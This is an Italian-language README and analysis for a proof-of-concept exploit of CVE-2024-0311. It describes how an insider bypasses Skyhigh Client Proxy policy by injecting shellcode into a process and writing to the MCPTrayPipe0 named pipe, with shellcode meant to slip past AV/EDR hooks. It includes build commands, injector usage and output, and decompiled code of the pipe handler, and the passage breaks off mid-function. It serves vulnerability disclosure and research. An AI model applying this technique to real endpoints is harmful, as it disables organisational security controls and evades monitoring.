
Exploit proof-of-concept per CVE-2024-0311 che bypassa la policy di Skyhigh Client Proxy tramite iniezione di processi e manipolazione di named pipe, con shellcode personalizzato per eludere le restrizioni AV/EDR.
Questa è una PoC per quella che credo sia la CVE-2024-0311, SB10418.
Un insider malintenzionato può aggirare la policy esistente di Skyhigh Client Proxy senza un codice di rilascio valido.
Tanti dettagli. Molto exploit. ¯\(ツ)/¯
La PoC si inietta in un processo SCPBypass.exe avviato dall'utente e scrive nella pipe di SCPService.exe: \\.\pipe\MCPTrayPipe0.
L'iniezione è necessaria perché, anche se la pipe è RW Everyone, WGUARDNT effettua alcuni controlli sull'eseguibile che scrive nella pipe (viene controllato il percorso dello scrittore), vedi sotto.
Viene fornito uno shellcode di esempio che consente l'esecuzione di WriteFile sulla pipe anche se Trellix/McAfee sono in esecuzione e intercettano/bloccano LoadLibrary.
Compilare in modalità Debug o Release da Visual Studio
Genera lo shellcode tramite:
cd shellcode && nasm loadlibrary.asm && xxd -i loadlibrary
quindi sostituisci lo shellcode in shellcode.c.
Injct.exe PID_OF_SCPBYPASS_EXE [stateoff] [debugon]
* stateoff: Don't call SetNamedPipeHandleState. The shellcode validate the pointer to SetNamedPipeHandleState before calling it..
* debugon: set a breakpoint into the shellcode (0xcc at offset 0) and spawn a thread to bind the named pipe. Don't use in production.
Output di esempio:
PS C:\Users\test\Desktop> .\Injct.exe 10640
> Target PID: 10640
> Allocating 4Kb in remote process: 0000020B61060000
> Writing shellcode to PID: 10640
> Injected shellcode at: 0000020B61060000
> Creating remote thread at 0000020B61060000
> Thread 12784 created.. waiting...
> Thread 12784 return value 0000000000000000
PS C:\Users\test\Desktop>
Se tutto è andato per il verso giusto, nei file di log SCP dovresti trovare una voce simile a questa:
10/30/24 : 10:18:55:185 - [INFO] CBypassPipeServer::run - SCP will be going into bypass mode for 1440 minutes
Questa sarà una breve analisi, perché nessuno ha tempo per le parole.
Prima di tutto, cos'è il client proxy Skyhigh?
Il software Skyhigh Security Client Proxy aiuta a proteggere gli utenti endpoint dalle minacce alla sicurezza che si presentano quando accedono al web dall'interno o dall'esterno della rete. Il software client, installato su endpoint che eseguono Microsoft Windows o macOS, reindirizza le richieste web o le lascia proseguire verso un proxy per il filtraggio. Il software server gira su una delle piattaforme di gestione: Trellix ePO SaaS o Trellix ePO Cloud.
Questo dovrebbe chiarire le cose.
Date le informazioni dell'advisory, non c'è molto su cui basarsi.
Ad essere sincero, stavo esaminando il servizio binario per individuare problemi facilmente sfruttabili per LPE quando ho visto CreateNamedPipe e mi sono incuriosito.
Ecco una rapida copia incolla del codice decompilato da Ghidra:
void CreateNamedPipe_FUN_14022d150(undefined8 param_1)
{
BOOL BVar1;
int atoi_out_lpBuffer;
HANDLE hNamedPipe;
undefined8 uVar2;
undefined auStackY_4c8 [32];
uint nBytesRead;
undefined4 local_474;
undefined4 local_470;
ulonglong nBytesRead_0;
_SECURITY_ATTRIBUTES local_460;
undefined pSecurityDescriptor [48];
char out_lpBuffer [1024];
ulonglong local_18;
local_18 = DAT_14069a448 ^ (ulonglong)auStackY_4c8;
InitializeSecurityDescriptor(pSecurityDescriptor,1);
/* BOOL SetSecurityDescriptorDacl(
[in, out] PSECURITY_DESCRIPTOR pSecurityDescriptor,
[in] BOOL bDaclPresent,
[in, optional] PACL pDacl,
[in] BOOL bDaclDefaulted
); */
SetSecurityDescriptorDacl(pSecurityDescriptor,1,(PACL)0x0,0);
local_460.bInheritHandle = 0;
local_460.lpSecurityDescriptor = pSecurityDescriptor;
local_460.nLength = 0x18;
/* HANDLE CreateNamedPipeW(
[in] LPCWSTR lpName,
[in] DWORD dwOpenMode,
[in] DWORD dwPipeMode,
[in] DWORD nMaxInstances,
[in] DWORD nOutBufferSize,
[in] DWORD nInBufferSize,
[in] DWORD nDefaultTimeOut,
[in, optional] LPSECURITY_ATTRIBUTES lpSecurityAttributes
);
CreateNamedPipeW("\\\\.\\pipe\\MCPTrayPipe0",PIPE_ACCESS_DUPLEX,
PIPE_TYPE_BYTE, 1, 0x4000, 0x4000, 0, lpSecurityAttribytes)
*/
hNamedPipe = CreateNamedPipeW(L"\\\\.\\pipe\\MCPTrayPipe0",3,0,1,0x4000,0x4000,0,&local_460);
while (hNamedPipe != (HANDLE)0xffffffffffffffff) {
BVar1 = ConnectNamedPipe(hNamedPipe,(LPOVERLAPPED)0x0);
if (BVar1 != 0) {
while (BVar1 = ReadFile(hNamedPipe,out_lpBuffer,1023,&nBytesRead,(LPOVERLAPPED)0x0),
BVar1 != 0) {
nBytesRead_0 = (ulonglong)nBytesRead;
if (1023 < nBytesRead_0) {
fail_or_fastfail_FUN_1404794f0();
}
out_lpBuffer[nBytesRead_0] = '\0';
if ((((undefined **)PTR_LOOP_14069a4e0 == &PTR_LOOP_14069a4e0) ||
((*(uint *)(PTR_LOOP_14069a4e0 + 0x1c) & 8) == 0)) ||
((byte)PTR_LOOP_14069a4e0[0x19] < 5)) {
local_474 = 0;
}
else {
TraceMessage_FUN_140027e70
(*(undefined8 *)(PTR_LOOP_14069a4e0 + 0x10),0xe,&DAT_1405da058,out_lpBuffer);
local_474 = 1;
}
FUN_14022d510(param_1,1);
atoi_out_lpBuffer = atoi(out_lpBuffer);
uVar2 = FUN_140040210();
LOGFUN_1400402a0(uVar2,L"CBypassPipeServer::run",5,L"INFO");
if ((((undefined **)PTR_LOOP_14069a4e0 == &PTR_LOOP_14069a4e0) ||
((*(uint *)(PTR_LOOP_14069a4e0 + 0x1c) & 8) == 0)) ||
((byte)PTR_LOOP_14069a4e0[0x19] < 3)) {
local_470 = 0;
}
else {
TraceMessage_FUN_140027e10
(*(undefined8 *)(PTR_LOOP_14069a4e0 + 0x10),0xf,&DAT_1405da058,atoi_out_lpBuffer
);
local_470 = 1;
}
FUN_140040530(2,L"CBypassPipeServer::run-SCP will be going into bypass mode for %d minutes",
atoi_out_lpBuffer);
FUN_14022d5b0(param_1,atoi_out_lpBuffer);
}
}
DisconnectNamedPipe(hNamedPipe);
}
FUN_140478b10(local_18 ^ (ulonglong)auStackY_4c8);
return;
}
Come possiamo vedere, una volta chiamata la funzione, viene inizializzata una nuova struct DACL e viene creata una nuova pipe \\.\pipe\MCPTrayPipe0 in byte mode.
Poi, finché l'handle a tale pipe è valido, il programma legge da essa e cerca di convertire i byte inviati da ASCII a int con atoi(out_lpBuffer).
Ignorando il fatto che esistono alternative migliori a atoi, supponendo che la chiamata a atoi non sia fallita, il valore convertito viene passato a FUN_14022d5b0:
undefined8 FUN_14022d5b0(longlong param1,int atoi_out_lpBuffer)
{
BOOL BVar1;
DWORD DVar2;
undefined8 uVar3;
LARGE_INTEGER local_10 [2];